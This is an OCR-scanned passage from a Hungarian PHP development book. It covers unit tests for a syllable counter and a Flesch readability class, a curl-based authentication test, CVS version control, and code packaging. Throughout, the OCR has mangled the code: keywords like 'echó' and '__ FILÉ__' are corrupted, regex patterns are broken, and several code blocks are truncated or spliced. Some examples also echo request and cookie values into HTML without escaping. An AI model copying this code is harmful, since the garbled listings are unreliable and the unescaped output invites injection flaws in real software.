$fragments = preg_split("/[Aaeiouy]+/", $scratch);
// A tömb mindkét végét kitakarítjuk, ha null elemek
szerepelnek ott.
if(!$fragments[ 0 ]) {
array_shift($fragments);
}
180 PHP fejlesztés felsőfokon
if (!$fragments[count($fragments) - 1]) {
array_pop($fragments);
}
if(count($fragments)) {
return count($fragments);
}
else {
return 1;
}
}
Ha a szólistát kissé kibővítjük, észrevehetjük, hogy még mindig vannak hibák, különösen
a nem kettőshangzónak számító, több magánhangzóból álló hangkapcsolatok esetében
(amilyen például az ie az alien, vagy az io a biogmphy szóban). Ezekhez könnyen vehe-
tünk fel új teszteket:
<?php
require_once "Text/Word.inc";
require_once "PHPUnit/Framework/TestSuite.php";
function __ construct($name) {
parent::__ construct($name);
}
public function testKnownWords() {
foreach ($this->known_words as $word => $syllables) {
$obj = new Text_Word($word) ;
$this->assertEquals($syllables, $obj->numSyllables(),
"$word has incorrect syllable count");
$this->assertEquals($syllables, $obj->numSyllables(),
"$word has incorrect syllable count");
}
}
}
if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==__ FILÉ__ ) {
require_once "PHPUnit/TextUI/TestRunner.php";
$suite = new PHPUnit_Framework_TestSuite('Text_WordTestCase');
PHPUnit_TextUI_TestRunner::run($suite);
}
?>
. .F
Time: 0.00660002231598
There was 1 failure:
1) TestCase text_wordtestcase->testspecialwords() failed: absolutely
has incorrect syllable count expected 4, actual 5
FAILURES!!!
Tests run: 2, Failures: 1, Errors: 0.
A hiba kijavítását azzal kezdjük, hogy a numSyllables () függvényt egy újabb művelet-
tel egészítjük ki, ami az io és ie hangokat egy szótagnak számítja, a kétszótagú able miatt
hozzáad, az absolutely néma e-je miatt pedig levon egy szótagot:
<?
function countSpecialSyllables($scratch) {
$additionalSyllables = array( ' A w l i e n / ' , // alien, de nem lien
'/bl$/ ' , // szótag
'/io/', // biography
);
$silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely
);
$mod = 0;
foreach( $silentSyllables as $pat ) {
if(preg_match($pat, $scratch)) {
$mod--;
}
}
182 PHP fejlesztés felsőfokon
A teszt most már majdnem kész, de a tortion és a gracious is kétszótagú szó, amihez az
í'o-teszt most még túl „aggresszív". Ezért az ion és iou kapcsolatokat felvesszük a néma
szótagok listájára:
function countSpecialSyllables($scratch) {
$additionalSyllables = array( 'Awlien/', // alien, de nem lien
1/bl$/', // szótag
7io/', // biography
);
$silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely
'Awion /', // az io illesztés miatt
1/iou/ ' ,
);
$mod = 0;
foreach( $silentSyllables as $pat ) {
6. fejezet • Egységtesztelés 183
if(preg_match($pat, $scratch)) {
$mod--;
}
}
foreach( $additionalSyllables as $pat ) {
if (preg_match($pat, $scratch)) {
$mod++;
}
}
return $mod;
}
<?php
require_once "PHPUnit/Framework/TestCase.php";
require_once "Text/Statistics.inc" ;
$this->assertEquals($this->numSyllables,
$this->object->numSyllables);
}
}
if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==____FILÉ__ ) {
require_once "PHPUnit/Framework/TestSuite.php";
require_once "PHPUnit/TextUI/TestRunner.php";
Olyan teszteket választottunk, amelyek pontosan azt a statisztikát készítik el, amire egy
szövegblokk Flesch pontszámának kiszámításához szükség van. A „helyes" értékeket
magunk számítjuk ki a hamarosan elkészítendő osztályhoz. Amikor olyan szolgáltatáso-
kat készítünk, mint statisztikai adatok gyűjtése egy szövegdokumentumról, különösen
könnyű túlzásokba esni, de ha van egy jól körülhatárolt teszthalmazunk, amihez kódo-
láskor igazodhatunk, egyszerűbb tartani az irányt.
<?php
require_once "Text/Word.inc";
class Text_Statistics {
public $text = ' ' ;
public $numSyllables = 0;
public $numWords = 0;
public $uniqWords = 0;
public $numSentences = 0;
public $flesch = 0 ;
public function __ construct($block) {
$this->text = $block;
$this->analyze();
}
protected function analyze() {
$lines = explode("\n", $this->text) ;
foreach($lines as $line) {
$this->analyze_line($line) ;
}
$this->flesch = 206.835 -
(1.015 * ($this->numWords / $this->numSentences) ) -
(84.6 * ($this->numSyllables / $this->numWords));
}
protected function analyze_line($line) {
preg_match_all("/\b(\w[\W-]*)\b/", $line, $words);
6. fejezet • Egységtesztelés 185
foreach($words[1] as $word) {
$word = strtolower($word) ;
$w__obj = new Text_Word($word) ;
$this->numSyllables += $w_obj->numSyllables();
$this->numWords++;
if ( !isset($this->_uniques[$word])) {
$this->_uniques[$word] = 1;
}
else {
$this->uniqWords++;
}
}
preg_match_all( " / [ . ! ? ] / " , $line, $matches);
$this->numSentences += count($matches[ 0 ] );
}
}
?>
<?php
require_once "TestHarness.php";
require_once "PHPUnit/TextUI/TestRunner.php";
$suite->register("Text/Statistics.phpt");
PHPUnit_TextUI_TestRunner::run($suite);
?>
Ideális esetben most már átadhatnánk a kódot egy minőségellenőrző csapatnak, akik
a maguk módszerei szerint keresnének hibákat benne. Kevésbé ideális esetben magunk-
nak kell ellenőriznünk a kódot. Mindkét esetben valószínű azonban, hogy a kód még
a bonyolultság ilyen alacsony szintjén is tartalmazni fog hibákat.
1. hibajelentés
Bizonyos, hogy amint tesztelni kezdjük az eddig létrehozott kódot, hibajelentéseket ka-
punk. A rövidítéseket (például Dear Mr. Smith) tartalmazó szövegekben a mondatszám
túl magas, így a Flesch pontszám torzul.
Your request for a leave of absence has been approved. Enjoy your vacation.
$this->numSentences = 2;
$this->numWords = 16;
$this->numSyllables = 2 4;
$this->object = new Text_Statistics($this->sample) ;
}
function ____ construct($name) {
parent: :____ construct($name);
}
}
Kétségtelen, hogy a hiba létezik; a Mr. -t a teszt egy mondat végének tekinti. A problémát
úgy kerülhetjük ki, hogy a szokásos rövidítések végéről eltávolítjuk a pontot. Ehhez szűk-
6. fejezet • Egységtesztelés 187
ségünk lesz a szokásos rövidítések listájára, illetve kiegészítő kódra, amivel eltávolítjuk
a rövidítések végén levő pontot. Mindezt a Text_Statistics statikus tulajdonságává
tesszük, és a listát az analyze_line futtatásakor helyettesítjük be. íme a kód:
class Text_Statistics {
// ...
static $abbreviations = array('/Mr\./' =>'Mr',
'/Mrs\./i' =>'Mrs',
1/etc\. /i ' =>'etc',
A mondatszám most már helyes, de a szótagszám nem. Úgy tűnik, a Mr. egyetlen szótag-
nak számít (mivel nincs benne magánhangzó). Ennek kezelésére kibővíthetjük a rövidí-
téslistát, hogy ne csak a pontokat távolítsa el, hanem a szótagszámláláshoz fel is oldja
a rövidítéseket. íme a kód, amivel elérhetjük ezt:
class Text_Statistics {
// ...
static $abbreviations = array('/Mr\./' = > ' Mister1,
' / M r s \ . / i ' = > ' Mi sse s' , //Phonetic
' / e t c \ . / i ' = > ' etcetera' ,
' / D r \ . / i ' = > ' D o c t or ' ,
);
// ...
}
188 PHP fejlesztés felsőfokon
A curi-ről
A curl egy ügyfélkönyvtár, amely internetes protokollok rendkívül széles körén (FTP,
HTTP, HTTPS, LDAP stb.) keresztül támogatja a fájlátvitelt. Az a legjobb benne, hogy
a kérelmekhez és válaszokhoz igen aprólékos hozzáférést biztosít, így könnyű vele egy
böngészőt utánozni. A curl használatának engedélyezéséhez a PHP-t a --with-curl
kapcsolóval kell telepítenünk (ha forráskódból építjük fel), vagy meg kell győződnünk ró-
la, hogy a bináris változatban a curl engedélyezett.
Először készítenünk kell egy egységtesztet. A curl segítségével egy user=george sutit kül-
dünk a hitelesítő oldalnak, majd megkeressük a megjegyzést az adott felhasználó nevével.
A teljesség kedvéért azt is biztosítjuk, hogy ha nem adunk át sutit, nem kerül sor hitelesítésre.
6. fejezet • Egységtesztelés 189
íme a kód:
<?php
require_once "PHPUnit/Framework/TestCase.php";
Az egységteszttel szemben a tesztoldal nagyon egyszerű, csupán egy blokkból áll, ami
egy fejlécet készít, ha a süti létezik:
<HTML>
<BODY>
<?php
if($_COOKIE[user]) {
echó "<!-- crafted for $_COOKIE[user] -->";
}
?>
<?php print_r($_COOKIE) ?>
Hello World.
</BODY>
</HTML>
A teszt nem túl kidolgozott, de jól mutatja, hogyan használhatjuk a curl-t, illetve egysze-
rű mintaillesztést a webforgalom utánzására. A 13. fejezetben, ahol a munkamenet-keze-
lést és a hitelesítést részletekbe menően tárgyaljuk, ezt a WebAuthTestCase infrastruktú-
rát fogjuk használni néhány valódi hitelesítő könyvtár tesztelésére.
6. fejezet • Egységtesztelés 191
További olvasmányok
Az egységteszteléssel kapcsolatban kitűnő forrás Kent Beck könyve, a Test Driven
Development By Example (Addison-Wesley). A kötetben Java és Python nyelvű példákat
találunk, de a megközelítés alapvetően nyelvfüggetlen. Egy másik kiváló forrás a JUnit
honlapja a www. junit. org címen.
A Refactoring: Improving the Design o/Existing Code Martin Fowler tollából (Addison-
Wesley) a minták szerepével foglalkozik a kód-újraépítésben. A könyv példái a Java
nyelvre összpontosítanak, de maguk a minták igen általánosak. Ezt a kötetet is melegen
ajánlom.
• Ellenálló
• Megfelelően tesztelt
• Biztonságos
• Méretezhető
• Kezelhető
• Illeszthető
• Professzionális
Ezek a minőségjelzők éppen olyanok, mint amiket a cégvezetők hallani szeretnek, így nem
csoda, hogy „vállalati szoftverre" vágynak. A gond az, hogy a többi divatszóhoz hasonlóan
a „vállalati" kifejezés sem több reklámfogásnál: felcímkézhetjük vele a szoftvert, mintha az
lenne a tökéletes megoldás az adott problémára, miközben semmit nem árulunk el arról,
194 PHP fejlesztés felsőfokon
hogy miért is jobb a vele versengő termékeknél. Persze az ilyen divatszavak mögött kez-
detben valóban haladó törekvések állnak, mielőtt a piackutatók felkapnák őket. A fentebb
felsorolt tulajdonságok rendkívül fontosak, ha üzletünket programokra építjük.
Változatkezelés
A változatkezelő szoftver olyan eszköz, ami lehetővé teszi a projektfájlok módosításainak
követését, és változatokat készíthetünk vele a projektből az állományváltozatok alapján.
Ez nagymértékben segíti a szoftverfejlesztés folyamatát, mert így az egyes változtatásokat
könnyen nyomon követhetjük és szükség esetén visszafordíthatjuk. Nem kell emlékez-
nünk rá, miért is hajtottunk végre egy adott módosítást, vagy arra, hogyan nézett ki a kód
a módosítás előtt. Elég, ha megvizsgáljuk a fájlváltozatok közötti különbségeket és elol-
vassuk a naplókat, és máris láthatjuk, mikor történt a változtatás, pontosan mi változott, és
miért (feltéve, hogy kikényszerítjük a bővebb naplóbejegyzések használatát).
A fentiek mellett egy jó változatkezelő rendszer segítségével több fejlesztő dolgozhat egy-
szerre biztonságosan ugyanazokon az állományokon, és a változtatások automatikusan
egybeolvaszthatok. Amikor többen is hozzáférnek egy fájlhoz, a leggyakoribb probléma,
hogy egyikük véletlenül felülírja a másik fejlesztő által eszközölt módosításokat. A válto-
zatkezelő rendszer ezt a kockázatot szünteti meg.
Control System) javítása volt. Az RCS-t szerzője azért írta, hogy lehetővé tegye, hogy töb-
ben dolgozzanak ugyanazon a fájlhalmazon, egy bonyolult zárolási rendszer segítségével.
A CVS az RCS-re épül; megengedi, hogy egy fájlnak több tulajdonosa legyen, lehetővé te-
szi a tartalmak automatikus összeolvasztását, a forrásfa felépítését, illetve azt, hogy egy-
szerre több felhasználó rendelkezzen írható példánnyal a forráskódból.
A CVS alapjai
A CVS-sel történő fájlkezelés első lépése, hogy bevisszük a projektet a CVS tárába
(repository). Helyi tárat úgy hozhatunk létre, hogy először létrehozunk egy könyvtárat,
amelyben a tár állományait tárolni fogjuk. Az elérési út általában /var/cvs, de más is
megfelel. Mivel ez a projekt adatainak állandó tárolója lesz, olyan helyre érdemes ten-
nünk a tárat, ahol a szabályos időközönkénti biztonsági mentés biztosított. Először létre-
hozzuk az alapkönyvtárat, majd a cvs init paranccsal az alaptárolót:
> cd Advanced_PHP
> cvs -d /var/cvs import Advanced_PHP advanced_php start
cvs import: Importing /var/cvs/books/Advanced_PHP/examples
N books/Advanced_PHP/examples/chapter-10/l.php
N books/Advanced_PHP/examples/chapter-10/10.php
N books/Advanced_PHP/examples/chapter-10/ll.php
N books/Advanced_PHP/examples/chapter-10/12.php
N books/Advanced_PHP/examples/chapter~10/13.php
N books/Advanced_PHP/examples/chapter-10/14.php
N books/Advanced_PHP/examples/chapter-10/15.php
N books/Advanced_PHP/examples/chapter-10/2.php
A kimenet azt jelzi, hogy minden állomány új bevitelű (tehát nem olyan fájlok, amelyek
már szerepeltek az adott tárban), és a bevitel során minden rendben zajlott.
A CVS számára az import parancsot kell kiadnunk. A parancsot követő három elem
(Advanced_PHP advanced_php start) a helyet, a készítőt, és a kiadást jelzi. A helyként
megadott Advanced_PHP azt mondja a CVS-nek, hogy a projekt fájljait a /var/cvs/Ad-
vanced_PHP könyvtárban akarjuk tárolni. A névnek nem kell megegyeznie a projektet je-
lenleg tartalmazó könyvtár nevével, de a CVS ezen a néven fogja ismerni a projektet, és
a fájlokat tároló alapkönyvtár nevének is ennek kell lennie, amikor a fájlokat lekérjük
a CVS-ből.
7. fejezet • A fejlesztőkörnyezet kezelése 197
A készítőt (advanced_jphp), illetve a kiadást (start) jelző címkék a projekt azon ágait
határozzák meg, amelyeket a fájlokhoz társítunk. Az ágak teszik lehetővé, hogy a fejlesztés
több irányban haladhasson. Az egyik ág fájljainak módosítása nincs hatással a többi ágra.
A készítő ágára azért van szükség, mert előfordulhat, hogy másik cégtől származó forráso-
kat is be kell vinnünk a tárba. Amikor a projektet felvesszük, a CVS felcímkézi a fájlokat
a készítő szerint. A készítő ágához mindig visszatérhetünk, ha az eredeti, módosítatlan
kódra vagyunk kíváncsiak. Természetesen ez is olyan ág, mint a többi, így a változtatáso-
kat rá is alkalmazhatjuk, de ez a gyakorlatban nemigen szükséges. A CVS megköveteli,
hogy a készítő, illetve a kiadás címkéjét bevitelkor meghatározzuk, ezért kellett itt is beír-
nunk. A legtöbb esetben később már nem kell hozzájuk nyúlnunk.
Egy másik ág, amelyet minden projektben megtalálunk, a HEAD, ami mindig a fejlesztés fő
ága. Egyelőre mi is mindent ebben az ágban fogunk végezni. Ha nem határozunk meg ki-
fejezetten egy ágat, a változtatások a HEAD ágra lesznek érvényesek.
A fájlokat bevitelkor nem ellenőrzi a CVS, ezt magunknak kell megtennünk, hogy tudjuk,
biztosan a CVS által kezelt példányokon dolgozunk. Mivel mindig megvan az esély, hogy
bevitel közben valamilyen váratlan hiba történik, ajánlatos ellenőrizni a bevitt forrásanya-
gokat, és saját szemmel győződni meg róla, hogy mindent bevittünk, mielőtt az eredeti tá-
rolót törölnénk. A frissen bevitt projektfájlokat az alábbi parancsokkal ellenőrizhetjük:
> mv Advanced_PHP Advanced_PHP.old
> cvs -d /var/cvs checkout Advanced_PHP
cvs checkout: Updating Advanced_PHP
cvs checkout: Updating Advanced_PHP/examples
U Advanced_PHP/examples/chapter-10/l.php
U Advanced_PHP/examples/chapter-10/10.php
U Advanced_PHP/examples/chapter-10/ll.php
U Advanced_PHP/examples/chapter-10/12.php
U Advanced_PHP/examples/chapter-10/13.php
U Advanced_PHP/examples/chapter-10/14.php
U Advanced_PHP/examples/chapter-10/15.php
A CVS alapállapotban minden bevitt állományt szövegként kezel. Ez azt jelenti, hogy ha
beviszünk egy bináris fájlt - mondjuk egy képet -, majd a kimenő változatot kivesszük
a változatkezelő rendszerből, egy nagyrészt használhatatlan szöveges állományt kapunk.
A bináris fájltípusok helyes kezeléséhez meg kell mondanunk a CVS-nek, mely fájlok tar-
talmaznak bináris adatokat. Miután (akár az import, akár a commit utasítással) bevittük
állományainkat a rendszerbe, a cvs admin -kab <fájlnév> végrehajtásával utasíthatjuk
a CVS-t, hogy egy adott fájlt binárisként kezeljen. Az advanced_php. jpg-t például így
adhatjuk helyesen a tárhoz:
Egy másik megoldás, hogy a CVS-t arra kényszerítjük, hogy a fájlokat a nevük alapján au-
tomatikusan kezelje. Ehhez a CVSROOT/cvswrappers fájlt kell módosítanunk. A CVS fel-
ügyeleti fájljait maga a CVS szerkeszti, ezért először ezt kell tennünk:
*.jpg -k 'b'
A fájlok módosítása
Tegyük fel, hogy bevittünk minden fájlt a CVS-be, és módosításokat végeztünk rajtuk. Lát-
szólag minden úgy működik, ahogy szeretnénk, ezért a CVS-sel - amely nagyrészt „kézi"
rendszer - mentetni szeretnénk a változtatásokat. Amikor a munkakönyvtárban fájlokat
7. fejezet • A fejlesztőkörnyezet kezelése 199
<?php
echó "Hello $_GET['name']";
?>
Ezt úgy módosítottuk, hogy a name ne csak GET, hanem bármilyen típusú kérelemből
származhasson:
<?php
echó "Hello $_REQUEST['name'] " ;
?>
> cvs commit -m "use any method, not just GET" examples/chapter-7IX .php
Checking in examples/chapter-7/1.php;
/var/cvs/Advanced_PHP/examples/chapter-7/l.php,v <-- l.php
new revision: 1.2; previous revision: 1.1
done
Amikor új fájlt vagy könyvtárat adunk egy projekthez, még egy lépést végre kell hajta-
nunk. Mielőtt véglegesíthetnénk a kezdeti változatot, a fájlt a cvs add utasítással hozzá
kell adnunk a rendszerhez:
Ahogy az üzenet jelzi, a fájl hozzáadása csak tájékoztatja a tárat, hogy fájl érkezik. Ahhoz,
hogy a CVS mentse az új fájlt, véglegesítenünk kell azt.
Az -u3 kapcsoló három sor egyesített különbségvizsgálatát (diff) jelenti. Maga a diff
azt mutatja, hogy a változat, amihez képest különbséget keresünk, az 1.2-es (a CVS auto-
matikusan számozza a változatokat), és egyetlen sort adtunk hozzá.
Különbséget kereshetünk egy adott változathoz képest, de két változat között is. Egy
adott fájl létező változatszámait a cvs log utasítással tekinthetjük meg. A parancs hatásá-
ra megjelenik a fájl minden véglegesített változata, a véglegesítések dátuma, illetve a hoz-
zájuk tartozó üzenetek:
revision 1.2
date: 2003/08/26 15:40:47; author: george; state: Exp; lines: +1 -1
use any request variable, not just GET
revision 1.1
date: 2003/08/26 15:37:42; author: george; state: Exp;
initial import
7. fejezet • A fejlesztőkörnyezet kezelése 201
Ahogy a példából látható, a fájlnak két módosított változata (revison 1.1 és 1.2) létezik.
A különbségeket így kereshetjük meg köztük:
Rendkívül hasznos az a lehetőség is, hogy egy adott dátumbélyeghez vagy időtartamhoz
képest is kereshetünk külöbségeket. Gyakran előfordul, hogy egy webhelyen hiba lép fel,
de nem tudjuk, pontosan mikor is következett be, csak azt, hogy a hely egy ismert idő-
pontban határozottan működött. Ilyen esetben az kell tudnunk, milyen változások történ-
tek az adott időpont óta, a hiba okát ugyanis biztosan ezek között találjuk. A CVS rendel-
kezik az ehhez szükséges támogatással. Ha tudjuk például, hogy egy olyan módosítást ke-
resünk, amit az elmúlt 20 percben hajtottunk végre, ezt az utasítást kell kiadnunk:
Megjegyzés
Az idő alapú CVS különbségfájlok a legfontosabb hibaelhárító eszközök közé tartoznak.
Amikor hibáról érkezik jelentés a webhellyel kapcsolatban, amin dolgozom, az első kér-
déseim ezek: „Mikor működött utoljára?" és „Mikor érkezett az első hibajelentés?". A két
időpontot elkülönítve a CVS használatával gyakran azonnal megtalálható a problémát
okozó véglegesítési utasítás.
Ha valaki más dolgozott a fájlon és véglegesített egy módosítást a kezdeti változat óta, az
üzenet így fest:
A CVS néha kavarodást is képes okozni. Ha két fejlesztő egy fájlnak pontosan ugyanazon
a részén dolgozik, ütközésre kerülhet sor, amikor a CVS megpróbálja egyesíteni a két vál-
tozatot:
<?php
echó "Hello $_REQUEST['name']";
<«<<<< l.php
echó "\nHow are you?";
Mivel a helyi másolatban egy olyan módosított sor szerepel, amit máshol véglegesítettek,
a CVS megköveteli, hogy a fájlokat „kézzel" egyesítsük. A rendszer sajnos összekutyulta
a fájlt, így az nyelvtanilag nem lesz helyes, amíg a hibát ki nem javítjuk. Ha helyre akarjuk
állítani az eredeti példányt, amelynek a frissítésével kísérleteztünk, megtehetjük, a CVS
ugyanis . # fájlnév, változat néven menti azt ugyanabba a könyvtárba.
Szokásos esetben a CVS minden ellenőrzött könyvtárhoz üzeneteket fűz. Ha egy fa és egy
ág vége között keressük a különbségeket, ezek az üzenetek elég zavaróak lehetnek.
A CVS-t a -q kapcsolóval „inthetjük csendre".
Jelzőcímkék
■A jelzőcímkék (szimbolikus címkék) használata az egyik módja annak, hogy egy változat-
számot több fájlhoz rendeljünk egy adott tárban, ami a változatkezelésnél rendkívül hasz-
nos. Amikor egy programváltozatot kibocsátunk az üzemi kiszolgálók számára, vagy egy
könyvtárat átadunk más felhasználóknak, kényelmes, ha az alkalmazás által használt vala-
mennyi fájl adott változatait a kívánt változathoz rendelhetjük. Példaképpen vegyük a 6.
fejezetben elkészített Text_Statistics csomagot, amit a PEAR-ben a CVS-sel keze-
lünk. A fájlok legfrissebb változatai a következők:
Egyes fájlokat is felcímkézhetünk, a címkék lekérdezésére pedig két mód van. Ha a kime-
nő példányt frissítjük, a címke nevére ugyanúgy frissíthetünk, mintha egy adott változat-
számra frissítenénk. Az alábbi utasítással például a kimenetet visszaállíthatjuk az 1.0-s
változatra:
Vigyáznunk kell, mert a fájlok adott változatszámra való frissítéséhez hasonlóan a jelző-
címkéhez igazító frissítés is „ragadós" címkét rendel a kimenő fájlhoz.
Néha előfordulhat, hogy nincs szükségünk a teljes tárra, ami a projekt minden CVS fájlját
tartalmazza (például amikor egy terjeszthető változatot állítunk össze). A CVS az export
utasítással támogatja ezt, amely minden fájlról másolatot készít, kivéve a CVS metaada-
tokat. Ez a megoldás abban az esetben is ideális, ha üzemi webkiszolgálók számára bocsá-
tunk ki egy változatot, ahol nem szeretnénk, hogy idegenek hozzáférhessenek a meta-
adatokhoz. A RELEASE_1_1 ilyen kibocsátásához az alábbi export parancsot adhatjuk ki:
Ágak
A CVS támogatja az ágaztatás (branching) fogalmát. Amikor egy CVS fát ágaztatunk, pillanat-
felvételt készítünk a fáról az adott időpontban, amelytől kezdve minden ág a többitől függet-
lenül fejleszthető. Ez akkor hasznos, ha változatszámmal ellátott szoftvert bocsátunk ki. Ami-
kor kiadjuk az 1.0-s változatot, új ágat hozunk létre a számára, így ha később hibajavítást kell
végeznünk rajta, az adott ágban végezhetjük el, anélkül hogy ki kellene vennünk azokat
a változtatásokat, amelyeket az 1.0-s változat kiadása után a fejlesztési ágban végeztünk.
206 PHP fejlesztés felsőfokon
Az ágakat nevük alapján azonosítjuk, létrehozásuk pedig a cvs tag -b utasítással törté-
nik. Egy PROD nevű ágat például így hozhatunk létre a tárban:
> cvs tag -b PROD
Az ágak különböznek a jelzőcímkéktől. Míg egy jelzőcímke csak időjelzéssel látja el a tár
fájljait, ágaztatásnál ténylegesen új példányt készítünk az adott munka tárolójából. Az ág-
hoz fájlokat adhatunk, illetve fájlokat vehetünk el onnan, módosíthatjuk, felcímkézhetjük
és véglegesíthetjük őket, anélkül, hogy ez hatással lenne bármely másik ágra. A minden
CVS projektben jelen levő alapértelmezett HEAD ág, ami a fa törzse, nem távolítható el.
Mivel az ágak úgy viselkednek, mintha teljes tárak lennének, többnyire új munkakönyvtá-
rat hozunk létre számukra. Az Advanced_PHP tár PROD ágából az alábbi utasítással ké-
szíthetünk kimenő változatot:
> cvs checkout -r PROD Advanced_PHP
Annak jelzésére, hogy ez egy adott ága a projektnek, a felső szintű könyvtárat át szokták
nevezni, hogy tükrözze az ág nevét:
> mv Advanced_PHP Advanced_PHP-PROD
Ha már van ellenőrzött másolatunk a projektből, és frissíteni szeretnénk azt egy adott ág-
ra, az update -r utasítást is használhatjuk, mint a jelzőcímkék esetében:
> cvs update -r Advanced_PHP
Időnként szükség lehet két ág egyesítésére. Tegyük fel például, hogy a PROD az üzemi
kódot tartalmazza, míg a HEAD a fejlesztési fa. Mindkét ágban felfedeztünk egy jelentős hi-
bát, és kijavítjuk a PROD ágban. A módosítást át kell vinnünk a fő fába is, amit az alábbi
utasítással tehetünk meg:
> cvs update -j PROD
Ez a megadott ágban végrehajtott valamennyi változtatást átviszi a munkapéldányba. Ami-
kor ilyen egyesítést hajtunk végre, a CVS megkeresi a fában a munkapéldány és a megadott
ág csúcsának legközelebbi közös ősét, és azzal frissíti a munkapéldányt. Más frissítésekhez
hasonlóan, ha ütközés történik, a változtatás véglegesítése előtt fel kell oldanunk azt.
Ezen problémák megoldásához olyan fejlesztési környezetet kell felépítenünk, ami lehe-
tővé teszi a fejlesztőknek, hogy önállóan dolgozhassanak, módosításaikat pedig tisztán és
biztonságosan egyesíthessék.
A 7.1 ábra a fentiek egy lehetséges megvalósítását ábrázolja. Két CVS ágot találunk benne:
a PROD a működésre kész kódot, a HEAD a fejlesztési kódot tartalmazza. Két ágat alkalma-
zunk, de a folyamat négy szinten zajlik:
7.1 ábra
Üzemi és próbakörnyezet két CVS ággal.
208 PHP fejlesztés felsőfokon
Az új kódot író fejlesztők a HEAD ág saját kimenő változatán dolgoznak. A változások ad-
dig nem kerülnek be a HEAD ágba, amíg elég stabillá nem válnak ahhoz, hogy tönkre ne
tegyék az ágat. Azzal, hogy minden fejlesztő saját webkiszolgálót kap (amelynek legjobb
helye a fejlesztő munkaállomása), elősegítjük, hogy a lényegi változásokat anélkül tesztel-
hessék, hogy mások munkáját veszélyeztetnék. Egy olyan kódalap esetében, ahol minden
nagymértékben önálló, ez a kockázat valószínűleg kicsi, de nagyobb környezetekben,
ahol a felhasználói könyvtárak között függőségek hálója alakul ki, az a lehetőség, hogy
másoktól függetlenül változtathatunk a kódon, igen hasznos.
Ha a program készen áll arra, hogy üzemi környezetbe bocsássuk, átvisszük a PROD ágra,
amit a stage. example. com webkiszolgáló szolgál ki. A program ekkor elméletileg ké-
szen áll a kibocsátásra. A valóságban azonban gyakran finomhangolásra és kisebb gondok
megoldására van még szükség. Ezért kell a próbakörnyezet, ami a lehető legpontosabb
mása az üzemi környezetnek. A PHP-változatnak, a webkiszolgálónak, az operációs rend-
szer beállításainak ugyanazoknak kell lenniük, mint az „élő" rendszeren. A próbakörnyezet
biztosítja, hogy ne érhessen minket meglepetés. A kipróbált tartalmat ezután még egyszer
át kell tekinteni, ellenőrizni, hogy helyesen működik-e, majd átvinni az üzemi gépekre.
és
A használni kívánt osztály meghatározásának egyik módja, hogy egyszerűen mereven be-
kódoljuk egy fájlba, és e fájlból különböző változatokat tartunk fenn a fejlesztéshez és az
üzemi környezethez. Viszont ha két példányunk van belőle, nagy a hibázás esélye, külö-
nösen ha az ágakat egyesítjük. Sokkal jobb megoldás, ha maga az adatbázis-könyvtár ér-
zékeli automatikusan, hogy próba- vagy üzemi kiszolgálón fut-e:
switch($_SERVER['HTTP_H0ST']) {
case "www.example.com":
class DB_Wrapper extends DB_Mysql_Prod {}
break;
case "stage.example.com":
class DB_Wrapper extends DB_Mysql_Prod {}
break;
case "dev.example.com":
class DB_Wrapper extends DB_Mysql_Test {}
default:
class DB_Wrapper extends DB_Mysql_Localhost {}
}
így csak használatba kell vennünk a DB_Wrapper-t, ha név szerint megadnánk egy adat-
bázist, és maga a könyvtár választja majd ki a megfelelő megvalósítást. Ennek logikáját
egy gyártófüggvénybe is építhetjük, amely létrehozza az adatbázis-elérési objektumokat.
210 PHP fejlesztés felsőfokon
• Akár tetszik, akár nem, a webes alkalmazások sűrűn változnak, a CVS pedig nem
jól tűri, ha ágak százait kell támogatnia.
• Mivel a webes alkalmazások kódját nem terjesztjük, kevésbé fontos, hogy képesek
legyünk a különböző változatokra más-más módosítást alkalmazni. Mivel minden
kapcsolódó kód a mi kezünkben fut össze, egy könyvtárnak ritkán van használat-
ban egyszerre egynél több változata.
A jelzőcímkék jól használhatók, ha hetente egyszer vagy kétszer bocsátunk üzemi környe-
zetbe egy programot. Ha ennél rendszeresen gyakoribb kódfrissítés szükséges, érdemes
fontolóra vennünk a következő lehetőségeket:
Megjegyzés
Az egyik szabály, amelynek helyességéről igyekszem minden ügyfelet meggyőzni, hogy
nem szabad délután 3 után kódot kibocsátani, pénteken pedig egyáltalán nem. Hibák
mindig felbukkannak a kódban, és ha a munkanap végén vagy közvetlenül hétvége előtt
bocsátunk ki új kódot, az olyan, mintha felszólítanánk a kalózokat, hogy most keressék
a gyenge pontokat, hiszen a fejlesztők már hazamentek. Ha csak napközben helyezünk
üzembe kódot, egy váratlan hibánál kéznél lesznek a friss fejlesztők, akik nem az órát fi-
gyelik, hogy vajon hazaérnek-e vacsorára.
Csomagkezelés
Most, hogy ismerjük a változatkezelő rendszerek szerepét a fejlesztésben, rátérhetünk az
üzemi kód terjesztésére. E könyvnek nem témája a kereskedelmi terjesztés, így amikor
a kód terjesztéséről beszélünk, azt értjük alatta, hogy a kész programot a fejlesztési kör-
nyezetből működő kiszolgálókra helyezzük, amelyek a tényleges szolgáltatást nyújtják.
A csomagolás lényeges lépés annak biztosítására, hogy amit a működési környezetbe he-
lyezünk, valóban az, amit szerettünk volna. Sokan egyszerűen egyenként kiteszik a mó-
dosított fájlokat a webkiszolgálókra - ami a lehető legrosszabb megoldás.
• Könnyen szem elől veszíthetjük, mely fájlokat kell a termék üzembe helyezéséhez
átmásolnunk. Ha csak hiányzik egy include, azt még könnyű észrevenni, de egy
nem frissített include már komoly fejfájást okozhat.
• Többkiszolgálós környezetben még összetettebb problémák jelentkezhetnek. Ha le-
áll egy kiszolgáló, hogyan biztosíthatjuk, hogy minden változásról értesüljön, amikor
helyreállítjuk? Még ha minden gép száz százalékosan üzemel is, az emberi tényező
folytán rendkívül könnyen alakulhatnak ki következetlenségek a gépek között.
A csomagolás nem csak a PHP kódok esetében fontos, hanem a használt kisegítő progra-
mok változatainál is. Egy alkalommal egy körülbelül 100 gépből álló PHP kiszolgálófürtöt
212 PHP fejlesztés felsőfokon
üzemeltettem, amelyen számos alkalmazás futott. A PHP 4.0.2-es és 4.0.3-as változata kö-
zött apró módosítást hajtottak végre a pack () belső működésén. Ennek következtében
néhány alapvető hitelesítési eljárás hibásan működött a webhelyen, bosszantó leállást
eredményezve. A hibák elkerülhetetlenek, de egy ilyen, teljes webhelyét megbénító hibát
még üzembe helyezés előtt észlelni kell és ki kell javítani. A hiba felfedezését az alábbi té-
nyezők nehezítették:
